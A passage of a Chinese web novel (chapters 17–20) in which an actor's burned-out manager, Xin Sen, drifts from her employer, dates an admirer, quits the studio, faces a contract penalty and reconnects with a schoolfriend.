《一个故事》
3. 第 3 章
17不踮脚的日子
辛森开始疏远颜从行,从一年三百六十五天不分离,到只跟一半的行程,留守在杭州工作室的日子比跟着颜从行满世界跑更难,因为没了颜从行这层光环,辛森才发现,她的生活又多么的枯燥无聊高强度且变态。
她的手机一直二十四小时开机,晚上经常睡不好觉,工作日的早上几乎都是摸黑起床,准备上一大车的东西,然后开始没完没了的对行程,确认细节,微信里的置顶的群和人要用手指滑两下才能结束。
等到开始留守杭州的时候,夜里没有一个颜从行让她提心吊胆之后,她想做的只有好好睡个觉,明天才能起床再去面对一屋子的人,可是经常有半夜打过来的电话,惊的她从床上弹起来,宛如惊弓之鸟,然后神经衰弱的处理一些颜从行在外面遇到的喝大了,少衣服,吃葡萄等等一系列琐事,然后再也睡不着,太阳穴突突地跳,心悸心慌然后熬到天亮。
再就是没完没了的酒局,辛森一直以为自己酒量非常不错,结果一口气吹了半瓶白酒之后,她就开始突然对这个世界没有眷恋了。
不仅如此,神隐了四五年的亲戚朋友,在辛森开始留意后一个一个蹦出来了,辛森在某一日接到了表哥的电话,那边喊她:“下个月我闺女三岁生日宴,你一定必须无论如何要回来。”
辛森一怔,差点脱口而出,你什么时候有的闺女。然后开始翻聊天记录,接不上的语音电话,隔三五个月就有一个,辛森的回复一般都是,“哥我忙,忙完了给你回复”。
外婆高血压住了好多次医院了,辛森打电话给舅舅,听舅舅轻描淡写地说外婆一年要住院疏通血管好几次,这次不重,不用特别担心。
………………
辛森宛如大梦一场,披头散发的醒来,做了一个精致的梦,梦到了一个帅到飞起的王子,他从头到脚都有规矩,头发丝的走向都要设计好,辛森靠近他,觉得可以吸取他的能量过活,然后疯狂地追逐他的脚步,适应他的规矩,甚至为了他制造新的规矩,把自己变成一个万能保姆,到头来,王子还是那个只用正常力气生活的王子,辛森累的只剩了一堆骨架。
辛森大病了一场,躺在床上的她没有一丝力气,像是一条咸鱼,她不能想象,她在半年前还发着烧喝酒跑行程,她常常昏睡,醒了就点外卖,有一天她觉得自己舒服了一些,拿个杯子去客厅接水,发现了坐在客厅黑暗里的那尊好看的影子,吓了一跳。
颜从行掀开灯,他脸上出现了一丝震惊和不耐烦,但是他马上掩盖掉了,接着换上了一副挑剔脸。
“你怎么?——”他朝辛森挥了两下手,带着他惯有的有些高傲的语气,“你不舒服吗?”
辛森撇了一眼客厅玻璃上她的倒影,她穿着居家的睡衣,灰色棉拖鞋,头发乱糟糟的,鼻子上带着一个沉重的眼镜,除了这个,她没化妆,面色萎黄无华。
很难看。
她再次接收到了颜从行的目光,颜从行似乎在等她一个解释,这样蓬头垢面不体面的解释,颜从行是个永远精致的人,他自豪于他的精致,也常常用他的精致来区别他和其他人——他自觉他和其他人是不同的。
我为什么以前没发现呢?你这么刻薄且自我,甚至还有些冷漠。你从来只在乎我是不是妆容精致适合站在你身边,是不是从来没在乎过我是不是身体不舒服在乎过我做为一个人,有需要充电放松休息的时候。
辛森难堪地笑笑:“——我生病了。”
颜从行几乎脱口而出:“你以前生病不是这样的,你以前——”他皱着眉头比划,“你考虑一下是不是最近待的状态让你堕落了。”
辛森委屈的开始鼻子发酸,低下头,竟然这么轻易地就哭了出来。
颜从行似乎更加不悦了:“辛森,要是你一直这么低落下去的话,我希望你可以反思一下,你是不是心里有什么问题——我不希望我身边的人在工作的时候被别的什么事情影响。”
辛森哼哼了两声,颜从行可能觉得自己也有点过分了,缓和了半天,又开口道:“我马上要进组了,我希望你能保证像以前的工作状态一样跟我一起去。”
………………………………
这一次的争吵,加快了辛森和颜从行疏远的进度,辛森觉得可能更加容易了,离得远了,这个名叫颜从行的毒品就愈发地没有这么大的瘾了。
辛森跟常婕依旧是前后分开进的组,辛森那次生病持续了很长时间,端木同听说她有进组的打算,打电话过来骂了她一顿,辛森被骂之后心情更差,直接躺平摆烂了。
小王后来也诧异地说俩人现在疏远的就像是两个合作伙伴一样,去接辛森进组那天,颜从行一块去的,他要抱辛森,都被辛森拒绝了,他们曾经好到趟在一张床上一块儿午睡,如今辛森脸上沾了点口红,颜从行要给她抹去,辛森都不让。
颜从行那个曾被跨越几个城市运去的懒人沙发再也没出现过,有一次颜从行只是提了一句,辛森像是受到什么刺激一样,连忙说:“沙发坏掉了,以后都不搬了。”
小王说颜从行当时好久都没有说话,气的一天没吃饭。
有一天晚上,他们三个一起开会,辛森临时接了个电话,出去接的,回来的时候看到房间里两个男人都不说话盯着她看。
小王讪笑道:“辛姐谁的电话啊,这么神神秘秘的。”
辛森很自然地说了一句:“涂永的,他休假了,明天过来玩。”
这半年辛森和涂永一直有联系,涂永那人平时也忙,也没什么花花肠子,追起女生来,就是使劲砸吃的,买奶茶买零食买特产,有时候寄很多,辛森就让他直接寄到公司,大家一块吃,所以大家慢慢地都知道有这么个人,一直在追辛森。
“我们继续开会吧。”辛森说道。
颜从行却不愿意了:“辛森,你穿高跟鞋声音太大了,吵的我头疼,我记得你以前高跟鞋都不发声的。”
辛森低着头,憋了半天,再抬头,脸色都是苍白的,但她坚定地说:“我知道了。”
然后起身回了房间,再回来时,就换上了运动鞋。
第二天辛森请假出去和涂永吃饭的时候,也穿的平底鞋。
颜从行更加不爽了,小王替辛森辩解:“颜哥你别生气,辛姐这不是针对你,这不是涂哥个子矮吗?辛姐鞋穿低一点俩人看着登对。”
颜从行气的脸都青了。
这次进组是在冬天,穿着羽绒服来的,拍着拍着就到元旦了。
辛森本来跟颜从行报备过了,元旦之前常婕会过来接她的班,辛森如今已经让常婕接收她大部分工作了,新年伊始,辛森要开始做下一年的工作计划了,为了让常婕更加顺手一点,辛森要提前回杭州准备。
不巧的是,元旦前一天,大雪封路,常婕的高铁耽误了一班,结果等下一班的时候,说是家里的老人摔了一跤送医院去了。
常婕这下怎么都走不了了,辛森也没再强求。
刚挂了电话,涂永这边就打了电话过来:“辛森,你还在横店吧,我今天要去横店那里找个导演,签完约还有半天时间空闲,咱们出去吃个饭吧。”
辛森本来实在懒得动,但是外面的雪太大了,涂永的声音又太有热情了,这声音欢快,让辛森觉得轻松,她就应下了。
剧组今天组织演员一起跨年,没多少事,辛森安排妥当了,有小王盯着,便跟颜从行请假了。
颜从行最近脾气十分差,动不动就生气,辛森知道他是生气自己的工作状态大不如前,所以常常不跟他争,他说什么辛森都应着,也不知道这种做法怎么又让颜从行不爽了,总是恶性循环,颜从行一天比一天暴躁。
“上一部电影元旦上映,虞婧这两天跟着剧组到处宣传,我们都好久没说过话了,辛森,你这时候跑出去谈情说爱去你觉得合适吗?”
辛森道:“我很快就回来了。”
说是很快,磨磨蹭蹭也有大半夜了,涂永给辛森买了许多新年礼物,耳罩围脖带兔子耳朵的帽子,俩人还一块买了冰淇淋,在大雪天里边走边吃,冻的嘴唇发青,俩人就在路边学企鹅跺小步子。
涂永是个状态很放松的人,辛森跟他出去玩的次数不多,每次都有新体验。
辛森蹲在地上写字的功夫,被涂永塞了一脖子雪,凉的她大喊大叫的,站起来追了涂永好几百米。
玩的累了,二人找了家咖啡馆坐下,咖啡馆的老板就住在二楼,一楼给他们收拾暖和了,上二楼跟家人跨年去了。
辛森撸着猫,看着涂永把她的帽子围脖都挂在空调的出风口吹着,问道:“能吹干吗?”
“暖和一点也好,不然你一会回去万一着凉了。”
涂永坐定了,两人一人抱着一杯咖啡暖手,有一搭没一搭聊着天。
“成哥哪忙吗?”
“还成,我会偷懒。你呢?”
“我也还成。”
俩人相视一笑,涂永在灯光下仔细打量着辛森:“怎么看你比之前还憔悴了?”
辛森不好意思地捋了一把头发:“最近事多一点,你要抽烟吗?”
“来一根吧。”
俩人一块抽了一根烟,都很放松。
“上次给你寄的特产吃了吗?”
“吃了,嚯,那鱿鱼籽闻着腥,吃着可香了。”
“你喜欢我下次再寄一点。”
“那感情好,我上大学那会可喜欢吃这个了。”
涂永停顿了一会,笑道:“你上大学那会什么样呢?肯定挺闹腾的,也能吃。”
辛森大约也想起了热闹但孤寂地大学生活,青涩懵懂无知的少年时代,无头苍蝇一样在各个地方乱撞。“大学生不都这样。”
“那你怎么变成现在这样的,抽着烟,在酒桌上喝酒,加班加到元旦也不回家?”
辛森张张嘴,茫然地不知道怎么回答。在遇到颜从行之前,她觉得自己注定平凡,她曾经小小的抗争过,留下些微不足道的痕迹和只有她还记得且耿耿于怀的尴尬,她前面人生应该是攒了太多的孤独,高中时,父母意外双双去世,留下一笔不多不少的钱,外婆做主,家里亲戚,谁也不能动她的钱,钱保住了,也没人再留意她了。
上学的时候寄宿在学校里,放假的时候,有时候会去外婆家,大部分时间,自己在家里那间小小的房子里生活,有些朋友,见面时聊的热络,走了留下更多的空虚和孤寂,辛森觉得不甘心的地方在于,她的存在感一直这么低,谁也看不见她,谁也不讨厌她,谁也不爱她,她生命中太多这样的空白,用多少热闹都填不了的空白,非要找一份爱不行。
刚开始只是追星,填补自己空虚的日子,干一份文员的工作,朝九晚五,跟同事凑堆讨论海底捞的美甲和卤校长的甜品。
命运的转折在于辛森大学毕业一年后,突然中了一次不大不小的彩票,辛森一下子成了同龄人中最有钱的人,但这笔钱的数额很有意思,它不能让辛森一下子跨越阶级从此衣食无忧,但它给了辛森一点底气,一点跃一跃,去够一够生命中够不到的星辰的勇气。
辛森有时候会想,她其实也不错了,追星追成了经纪人,同学在单位挣死工资结婚生孩子的时候,她已经在娱乐圈打滚儿打了两轮了,有时候她想,她要是没有喜欢颜从行,只把这份工作当成一份工作多好啊,如今她应该已经名利双收了。
可是辛森很拧,她一直记得,她进娱乐圈是为了找一份爱。
要是涂永早些出现就好了,再早一点,涂永这样耐心的对她好,她肯定就会满足的不得了,然后俩人说不定就已经结婚生孩子了。
但现实是,涂永的出现,都是颜从行间接带来的,都是因为她站在了颜从行身边,涂永才能看的见她。
18新年快乐
俩人天南地北地聊了半晚上,下着大雪,外面安静极了。
“你老盯着外面看什么呢?”涂永伸手在她眼前晃晃。
“雪下这么大了,大马路上白茫茫的,老让我觉得阴影哪要走出个人似的。”
涂永没接她的话,小跑到书柜上,从上面拿下一把尤克里里,抱着说:“我弹给你听吧。”
“你还会弹这个呢?”
“简单的曲子会。”他调了调弦,试着拨了两下,清了清嗓子,唱了一首《世界这么大,还是遇见你》。
“背包塞满青涩的回忆
就要踏上成长的旅程
就到这个路口
你就不要送我你快回去
相逢又告别一句再见
过去的一切不会重现
失落的时候 请向我一样相信你自己
世界这么大还是遇见你
多少次疯狂多少天真一起做过梦
有一天我们会重逢故里”
涂永唱的十分投入,声音铿锵有力带着少年的蓬勃感,有些人年纪轻轻一身颓气,有的人年过三十依旧青春活力,他声音有些大,二楼咚咚咚传来脚步声,辛森往楼梯口去看,楼梯口那里站着一个十几岁女孩,她身边跟着一个更小一点的男孩,二人正托着腮听涂永唱歌。
一曲毕,涂永站起来,对着满屋的空气鞠躬:“感谢歌迷朋友的喜欢,这首歌送给我的朋友辛森,当作我和她短暂分离的慰藉。”
辛森笑着鼓掌,楼上的两个小朋友也跟着起哄鼓掌,气氛非要温馨,然后辛森看了看时间,两个人开始手忙脚乱的收拾东西送涂永赶飞机。
回去的路上打了半天车才打到,其实时间也不算很晚,只是因为是元旦,又有大雪,辛森排了好久的队,上了车,耳朵都冻红了。辛森这才想起来掏出涂永送的毛毛耳罩,拿出来,罩在耳朵上,开始搓手,她的心本来暖暖的,不知道怎么的,越往酒店赶,越开始发冷。
回到酒店的时候已经一点多了,酒店只留了廊灯,路过前台的时候,前台的工作人员朝她打了个招呼:“辛小姐,新年快乐。”
辛森有点诧异,她今天打扮的和平常完全不一样,穿着很久没穿的牛仔裤和大毛衣,出租车里太热,羽绒服被她脱下来搭在胳膊上,她还带着口罩,这样都能被认出来?但她转念一想,她住了两个多月了,酒店的前台跟她混个脸熟也正常,更何况,她一直跟着颜从行进出,肯定更扎眼。
辛森回给她:“谢谢你,一元复始万象更新,新年更加幸福。”
辛森上了电梯,电梯的墙壁反射出她的身影,辛森注意着自己的打扮,一点也不精致,头发乱糟糟的,耳罩还挂在脖子上,戴着口罩,头发就是随意的扎了个马尾,但是——看上去很有生活感,心情也很好,很像刚刚约会完的样子,怪不得前台小姐姐会和她打招呼,她今天看上去暖暖的。
辛森带着剩余的这点的热乎劲儿直接回到了房间,关上门要插卡的时候,突然被人背贴墙摁住了。
辛森的警世钟马上敲了起来,她都没有惊呼就直接把头朝对面黑影的头上撞了上去。
吃痛的声音很熟悉,辛森插上卡,电源接通了,后退两步捂着鼻子一脸不爽地看着她的人是颜从行。
“你怎么在这?”辛森不解地问道。
颜从行上下打量着辛森,带着一股辛森不是很明白的怒气,一手按灭了灯,拉着辛森就往床上走。
辛森被抓的有点疼,她小声地叫了一声,就被扔在了床上,怎么突然变成这样了?辛森完全没到新年第一天,她会有和颜从行有——床戏?
后续并没有发生酒后乱性或者强制爱等等剧情,颜从行就是把她摁在床上,用棉被把她裹住,然后自己压在她身上,不让她动,自己也不动,就这样抱着她大喘气。
辛森不觉得颜从行现在的状态正常,她用了好几次力气都没把他推开,只能小声地开口劝他:“小颜,你先起来——”
颜从行不理她,辛森又说了两遍。
“别动。”颜从行开口说道,“你谈恋爱了我不碰你,但是让我抱一会辛森,就一会……”
他的话音里都带着一丝乞求,借着房间里微弱的光,辛森看到了他眉头紧皱的侧脸,心里低开始涌现出各种麻麻的酸疼感。
颜从行,你真是卖惨第一好手。
也不知道过去了多久,辛森一路又困又累,如今被温暖的棉被和树袋熊裹着,开始昏昏欲睡,等她的呼吸开始加重了之后,颜从行才抬起头来,黑暗中看清辛森睡着了,才眼疾手快地滚到被子里,牢牢地抱着辛森,头靠在她肩窝处,脸碰到了什么毛绒绒的东西,颜从行托起辛森到的头,伸手把耳罩从辛森脖子上取下来,扔在地上,自己则抱着她,一块儿进入了梦乡。
“新年快乐,辛森。”
他小声地说,放纵自己陷入了黑夜。
元旦之后最热的消息就是虞婧火了,当时拍电影的时候,施姐曾经带着一辆分不屑说“谁还指望一个镜头一炮而红呢?”,结果最后啪啪打脸,虞婧真的火了,电影里动作戏那几个镜头散的全网都是,非常出圈。
大火之后虞婧立刻去参加了一个跳舞的综艺,跟她一块参加的不乏些流量小花,虞婧准备充分而去,不出意外立刻拿了冠军,一时间风头无两,加之公司宣传到位,营销“全能白富美艺人”人设,综艺上也提前写好了本子,往“高情商”人设上靠,虞婧本身并不是左右逢源的人,但她深知自己的不足,除了剧本上设计好的情节,她基本上不说话。
常婕啧啧称奇,跟辛森说,这绝对是可以写入教科书的造星案例,辛森觉得很对,让小王把虞婧出道的方案做成ppt,全部工作室跟着学习了一个星期。
常婕非常后悔自己多嘴说了这么一句话,苦哈哈地记了一周笔记。
这事之后,有一次常婕下了班回工作室拿东西,看见辛森办公室的灯还亮着,不知道是不是辛森还在加班,便凑上前去看。
结果还没进门,就听见里面传来吵架的声音。
“你脑子里一天到晚在想什么呢?!”音调不高但是愤怒值满格的是颜从行。
老板什么时候来的?
“我觉得这是个可行的方案,甚至是双赢的方案。”辛森十分的坚持。
颜从行气笑了:“结婚这么大的事,你就给我列个方案就帮我解决了呗!”
“……我知道你有些难以接受,但是如果现在不考虑这件事情,再过两年,虞婧那边可能就不是很方便了,当然了,也不是让你们现在就结,从官宣到热恋求婚,这件事可以炒一两年,一两年之后,你们顺理成章的就结婚了。”
颜从行依旧是气的直笑地口吻:“辛森,你不觉得你变了吗?”
说完,便摔门而去,一出门撞见常婕时,给他吓了一跳。
常婕连忙问好:“老板好。”
颜从行看了她一眼:“你去劝劝她吧,她脑子进水了。”
辛森跟在颜从行后面出来,常婕站在原地手足无措,最后说:“一块去吃寿司?”
俩人选了一个僻静地角落,台上是旋转着的寿司盘子,辛姐拿着一个抹茶冰激凌,心不在焉的,常婕给她挑了两三个放在她跟前。
“我最喜欢吃这家旋转寿司了,我觉得很新鲜,辛姐你也尝尝。”
辛森用手捏着一块塞到嘴里,鼓鼓囊囊地,嚼也嚼不完,像个小仓鼠。
这么可爱的表情就算是对着辛森这样严肃的脸,常婕也能笑出来:“辛姐,你嘴也太小了。”
辛森嚼了好半天才吃掉了一个,常婕还要给她拿,辛森拒绝了。
“我先把这几个吃了吧。”
俩人慢悠悠吃到四五分饱的时候,常婕才试探性地问:“和老板吵架了?”
“你不都看见了吗?”
“辛姐,”常婕斟酌着语句,“何苦呢,人家是老板,我们都是打工的,顺着老板的意思干好活就行了,你干嘛这么上赶着呢,老板还生气。”
辛森被常婕怼的说不出话来,要是一两年前,常婕这么跟她说话,她一定能把常婕骂一顿,然后开了,但是现在……现在她自己没什么底气了,她甚至还觉得常婕说的是对的。
辛森放下咬了半个的寿司,擦擦手,擦擦嘴,说道:“我觉得这可能是老板这两年最好的一个项目了。”
“我不觉得,”常婕喝了一口饮料,“辛姐,你别怪我说话难听啊,老板这两年电影拍的好,热度也够,大小姐又刚出道,正是红的时候,二人都是上升期,要是这会儿结婚了,这不是自己找不痛快吗?”
辛森笑着说:“好什么啊,这几部电影都是小制作,班底一般,爆不了,顶多能有个曝光度,口碑好坏还是个问题,钱是拿到手了,但是也就是一般的资源。但是跟大小姐绑定就不一般了,大小姐自带资本,往后的资源一定个顶个的逆天,把大小姐拿下了,这两年看上去是差一点,但从长远看,就是抱了一条粗壮的大腿。再说点不好听的,现在不趁年轻,感情还在,大小姐又是新人快点绑定,等过两年大小姐真的站稳脚跟了,离被甩就不远了。”
常婕不解道:“那也不用这么急啊,明年再立项也来的及不是。”
辛森有些心不在焉地吃掉了剩下的寿司,没有接话。
常婕放下筷子,鼓起勇气来,问道:“姐,外面传说的不会是真的吧?”
“什么真的?”
“我听外面说,辛姐有想和老板散伙的意思。”
辛森觉得很有意思,她问道:“外面怎么知道我想跟老板散伙呢?”
“辛姐,我们都感觉,你没有以前对工作上心了,而且你看,你这么着急的要推这个项目,明年都等不及,是不是打算明年就走人啊——以前老板去哪你都跟着,现在老板叫你都不去,姐,我们都知道,老板外表上看上去光鲜亮丽的,实际上都是咱们这些工作人员帮他堆起来的,你不在,老板很多事情都不适应,我经常看到老板生气,他会不会也觉得你是想散伙呢。”
19散伙了
常婕的话有些提醒了辛森,她试图一拍两散的意图太明显了,辛森再没提颜从行和虞婧结婚这事,但实际上,项目方案她还在做着。
日子照常过了,一转眼,又一个夏天来了,辛森掐指一算,颜从行得影帝复出已经两年了,这两年来,颜从行一直在不温不火地拍着电影,后续资源对接的并不好,这倒不算辛森不卖力,她所能接触到的资源毕竟有限。
虞婧果然不出所料的大火了,电视剧,电影,综艺,如今哪哪都是她的影子,反倒是现在颜从行见她要难了。
没有通告的一天,辛森在健身室跑步,颜从行睡的朦朦胧胧走进来,坐在旁边的动感单车上,眯着眼睛看辛森运动。
辛森被他盯的不自在,按停了机子,对他说:“你要跑步吗?”
颜从行摇摇头,起来又去客厅了。
下午辛森出门拿快递,回来的时候,看到颜从这自己坐在阳台上,整个人歪在上面,胳膊后撑,大长腿伸出去,真是绝好的身材,谁看了不流口水呢。
辛森把快递盒子收拾妥当了,看到颜从行还保持一个动作坐在那里,辛森要出门扔垃圾了,走到玄关的时候,听到颜从行喊她。
“辛森。”
辛森回过头来看他,笑道:“怎么了?要带什么东西吗?”
颜从行晃晃手里的手机,辛森定睛一眼,是自己的手机,连忙摸口袋,发现是自己忘带了。
“我都没注意没带在身上。”
她放下垃圾,走过去要拿,颜从行却不肯给她。
辛森在他面前坐下,说道:“怎么了?有心事?”
颜从行还不说话,辛森不知道他莫名其妙因为什么不开心,说道:“那我先出去倒垃圾,你要是需要机票,我马上订。”
正要走,忽然听到颜从行说:“刚才有个陌生电话打进来,我替你接了,说是中介,说是找到你想要的公寓了。”
辛森顿在了那里。
颜从行开口道:“你要搬走?”
辛森点点头,说道:“还没来的及跟你说,想着先找好房子再说。”
颜从行不悦地皱起眉头,他坐好弯着腰,双肘压在双膝上:“为什么?”
辛森回过头来,她有些无助地看着颜从行:“一直住在这里也不好。”
颜从行脸上的肌肉抖动了几下,眼神也变得犀利起来。
“不好你住这么久?现在想起走了,早干嘛了?”
辛森朝他张张嘴,不知道说什么,她不应该允许事情发展到这一步,他们两个人享尽了情侣的距离,却始终谈不上一个爱字。
“哎,对不起。”她道歉道。
颜从行却更加火了:“道个歉就算了?是不是涂永让你走的?谈个恋爱人身自由都要限制,辛森,我以前可不知道你是个这么恋爱脑的人。”
辛森解释道:“你别开玩笑了,就是搬出去嘛,又不是什么大事。”
颜从行的脸色难看的要命,他睨视着辛森,一字一句地说:“非要搬出去是吗?”
“小颜,我也不是这个意思……”
颜从行粗暴地打断了辛森的话:“我问你,是不是非要搬出去?你说。”
辛森很清楚,一个人如果通过“你说”这两个字把选择权给另一个人的时候,他的潜台词是“拜托做个不要伤害我的选择吧”,可是辛森同样也清楚,把选择权交给别人,这本身就是一件会上海到自己的事情,她怔愣了一会儿,说了一句:“哎。”
颜从行一下子就冷静了,他站起来原地转了两圈,然后走到辛森面前,将手机递给她。
辛森犹豫地接过了手机,手刚碰到手机的那一刹那,听到颜从行说:“不必这么麻烦了,散伙吧。”
辛森不可置信地抬起头来,她有些不相信自己的耳朵。
“什么?”
“散伙吧,你都折腾这么久了,留不下了,就算了。”颜从行走到客厅沙发上坐下,双腿交叠,背往后靠,他声音冷静且没有人情味,带着一点蛮不讲理和高高在上,他志在必得,他故意为之。
他威胁辛森说,“但是你要记得辛森,是你违约了。”
什么意思,意思是辛森以后不要指望在圈里再找到合适的工作了,颜从行会不留余力地砍断她所有的后路,她可以孑然一身的滚蛋了。
“好。”辛森放下垃圾袋,她果然没有看错颜从行,天生的商人,天生会吃人的人上人,天生就是危险的坏蛋。
辛森转回房间内收拾行李,她东西非常少,都是工作上要用的,套装,笔记本,化妆品,别的也就没有什么了,她甚至连放个相框在颜从行这里都没有。
辛森自己站在颜从行的房子外面,天色渐晚了,她翻了一遍通讯录,她连个来接她的人都找不到。
工作室的人不方便打扰,以后他们还要靠颜从行吃饭,这时候叫他们来,是在坑他们。
端木同不会管她这些闲事,说不定还会骂她一顿,家人都不在杭州,其他人,辛森好像连自己的朋友都没有。
她拉着行李箱慢悠悠地走在别墅区宽敞的主干道上,往常这条路她走的很少,颜从行工作性质特殊,保姆车一般会直接开到门口去接。往常一上车就跟要打仗一样,十二分警惕地防狗仔,防工作对接不畅,防着颜从行突然的自我。
现在轻松了,辛森舒了一口气,好像也没有什么大不了的。
辛森出门就打了一辆出租车:“去机场吗?”
司机问道,辛森愣了愣,报了一个地址,去了工作室。
小王本来摸鱼打游戏的一天,被突然到来的辛森一下子全毁了。
颜从行很快接到了小王的电话:“老板,是不是出什么事情了?”
颜从行不耐烦地说:“又怎么了?”
“辛姐来了。”
颜从行不知道为什么,心里还有几分得意。
“她去工作室不正常吗?”
“……她刚才召开了全工作室会议,当众辞职了,现在所有小组的头儿都在她办公室等着交接工作,常婕快炸了,一边哭天抢地一边看BOSS直聘……”
那边传来敲玻璃的声音,王小宇立刻调转了话题,“看错了,她是在看PPT制作视频。所以,老板,你要不要过来一下?”
电话那边安静好了一会儿,慢慢传来类似于耗子磨牙的声音。
王小宇尴尬极了,他非常清楚,最后一波交接一定是他跟常婕,马上也就到他们了。
颜从行挂了电话。很快,工作室法务那边的电话响了。
辛森交接工作交接上瘾了,这真是一件既痛快又高度解压的事情:“……这个项目黄的概率是百分之八十。”
“那、那要怎么做?”
“想办法完成它。”辛森说的再轻描淡写不过了,市场那边笔记本都被划烂了。
颜从行这里一年至少有三四个难啃的要死但是利润非常可观的项目,辛森给自己定的目标是一年至少拿下两个,她做的相当好,有一年她硬是啃下了三个。
一场交接下来,每个小组心里都在说,颜从行高低要给辛森磕一个。
市场、策划、行政、财务、宣发……一个组一个组顺下来,辛森越交接越嗨,最后感觉整个人都飞起来了。
常婕和王小宇过去的时候,辛森激动地袖子都挽起来了。
“接个电话。”辛森拿起手机来,这俩人暗中松了一口气。老天有眼,这个电话一定要是老板打来的。
辛森咬着手指头,嗯嗯啊啊的会着电话:“是的是的,知道,嗯嗯,好的。”
等她挂了的时候,王小宇试探性地问了一句:“谁啊辛姐。”
“哦,”辛森看了他们俩一眼,漫不经心地把手机按死了,“法务那边的,通知我要赔偿的违约金的数额以及保密协议的日期。”
俩人对视一眼,常婕小心翼翼地问道:“老板真要找你要钱?”
“是啊,这不是很正常吗?法务都打电话了,你当过家家呢,咱们工作室哪个月不告几个人,造谣的黑子,蹭热度的营销号,还有不遵守保密协议的辞职人员,从去年开始,法务那几个的提成不都是从赔偿金里面提吗?你们忘了。”
这俩人一时间都不知道是该感叹颜从行的刻薄还是辛森的心大了。
辛森将桌子上的文件整了一下,分给这俩人:“少可怜我,可怜可怜你们自己吧,这是你们两个下季度的工作任务,我只列到下季度,后面你们要自己列了。”
这下这俩人真的什么心思都没有了。
“我还真是挺刻薄的,”辛森做了结案陈词,“保密期时间这么长,怎么不保密一辈子呢,这下有些瓜我还不能往外传了。”
自然了,在场的三人都很清楚,辛森跳来跳去挺多算个前面当枪的,这一切,不都是颜从行同意了的吗?
只不过是辛森当年发出的子弹,如今正中她自己的眉心罢了。
20突然换了个工作
辛森没有立刻离开杭州,并不是因为她在等着谁来挽留她,而是合同要求,她这种级别的工作人员交接期是一个月,在此期间,她要保证如果有大事发生,她必须当天在场。
辛森一来没有跟颜从行撕破脸的打算,觉得没什么必要,说到底人家出了不喜欢辛森之外也没干别的什么事,二来她最近也没有什么很着急的事情,于是就抱着以后可能都不会来杭州的念头,开始在杭州各个旅游景点打卡。
常婕几乎每天都给她打电话,辛森还算是配合。
“老板好几天没来工作室了,目前也没什么通告要出,是不是躲起来哭了。”
辛森给自己泡了一杯咖啡,伸手弹了弹烟灰,嗤笑道:“你少可怜他了,他是没去工作室,可是法务可没停下来给我打电话催债,你也没少找我,人不在,心还在难为我,应该不会在哭。”
常婕最近很喜欢辛森的死亡笑话,跟着笑了几声,算是忙成狗的排解。
“不过说起来,咱也不是外人,辛姐,”常婕压低了声音,“老板最近都没有通告,最早的行程是下个月进组拍电影,你说他是不是早就有打算这个时候跟你清盘。”
辛森的手指顿了顿,无声地笑了,真不错,小颜这些年来做事愈发老练了。
“可能性很大,这样你更不需要可怜他了。”
“这样我是不是该可怜你了姐姐,法务那边我偷偷去打听了,违约金的数目相当吓人,姐你有后路吗?”
辛森无所谓地靠在墙上:“没有。”
常婕:“……”
我就多余问你。
又过了几天,常婕打电话时的语气带上了一丝雀跃,辛森看了看时间,确定这个时候早会才刚刚结束,正是一天中最忙的时候,常婕这个时候都非要打这个电话来,就说明要么出了不起的大事了,要么有瓜了。
“我的姐姐,你在忙吗?”
“有事快说吧,我一会还要补一觉然后去游西湖。”
“游西湖可不能买丝绸,都是假的,你要想买我给你推荐几家店去啊。”
“说正事吧常婕。”
“好嘞,辛姐,出事了!”最后这三个字,激动地都出假音了。
辛森放心地翻了个身,“出什么事了。”
“姐,老板有个项目凉了。”
“这不是很正常,他一年接触三四十个项目,最后真正做的也就十几个。”
“这次不是那种能成的概率只有20%的那种地狱模式项目,是一个所有评估都是稳妥的A?项目。”
辛森这才有了兴趣,这种项目都是保底的,一般来说,没有不可抗力是取消不了的,而所谓的不可抗力一般是指艺人进去了,或者被抢了,问题是,现在颜从行热度不错,谁能抢他的项目?
“怎么凉的?”
“牵线人不干了,直接把这事给挑了。”
“哪个牵线人,是什么项目?”
“一部S?动漫配音,IP非常火的那个动漫《星云》。”
《星云》?辛森仔细回想了一下,记忆不深,这个饼好像不是他们舔来的,是那边发行人自己找上来的,合作意愿十分强烈那种,因为颜从行后面有漫改电影上线,所以辛森才接了这个活,算是为后期预热。
这确实是个A?的项目,但是好好的,怎么会凉了呢。
“早会上说的这个事,老板直接过来说的,那边都没通过咱们工作室,我让小王打听了一下,好像是那边制片和编辑都不干了,说是这个项目本来不是冲着老板,是冲着你来的,最近听说你和老板散伙了,所以直接就换人了。”
辛森更加迷茫了:“冲着我来的?制片和编剧是谁?”
“制片是端木同,编辑我不清楚,好像是个新人,我打听打听给你发微信。姐,这瓜吃的你爽不爽?”
常婕贱嗖嗖地说完,又上班去了。
辛森这下没有睡意了,她在床上翻了两圈,索性坐起来发呆,这瓜吃的确实是爽,端木同,端木姐,原来在这里等着呢。
辛森心里有些感动,又在网上给小达买了些玩具。
晚点给端木发了微信,没说别的,就问了好。
端木估计在忙,许久才回了一句:“终于干了件有骨气的事了。”
过了一会儿又添了一句:“小达画了些画,我下个月给他办个画展,你来不来看看?”
辛森想了一会儿说:“我最近都没事,我可以去帮着策划和布置。”
端木回:“那我少请几个工作人员。”
没一会儿,端木发了一张照片过来。
“小达画的你。”
辛森高兴地点开来,小达作画一直模仿的是毕加索的风格,线条曲折多变,画风也不是传统意义上的写实或者写意,给辛森画的这一幅,名字叫做《坐着的森》,一张画稿上叠加了辛森正脸和侧脸两个角度,乍一看很怪异,但是细细来看,竟然能从画中人的眼睛里看到辛森当时放松和温柔两种情绪。
“这幅画我要亲自去买了。”
“那可要带够钱。”
谈话就结束了,端木丝毫没提起《星云》的事,辛森也没说。
没一会儿,辛森准备起床吃饭了,手机上突然接到了一个陌生电话。
辛森还没接就挂了,辛森不以为意,没有再管。
没一会儿,辛森洗漱完,收到了常婕的微信:“辛姐,我查到那个编剧了,确实是个新人,笔名叫O R,你认识她吗?”
辛森想了想,回了一句:“不认识。”
常婕那边又发了句什么,辛森还没看,电话又响了起来,是刚才打电话的那个号码。
辛森犹豫了一下,接了起来。
“你好,我是辛森。”
“辛森!是我,我是西江月!我回来了!”
辛森猛地坐了起来,电话挂断,常婕发来一张照片。
“辛姐,我从朋友圈扒的OR的近照。”
游西湖改成了姐妹聚会,辛森在万达附近随便找了一家咖啡馆,选择坐在了靠窗的位置,她最近没什么工作,所以时间上相当富裕,早来了好一会儿。
离约定时间越来越近,辛森不自觉地开始紧张起来。
严格来说,西江月算是辛森在中学时期唯一的朋友了。
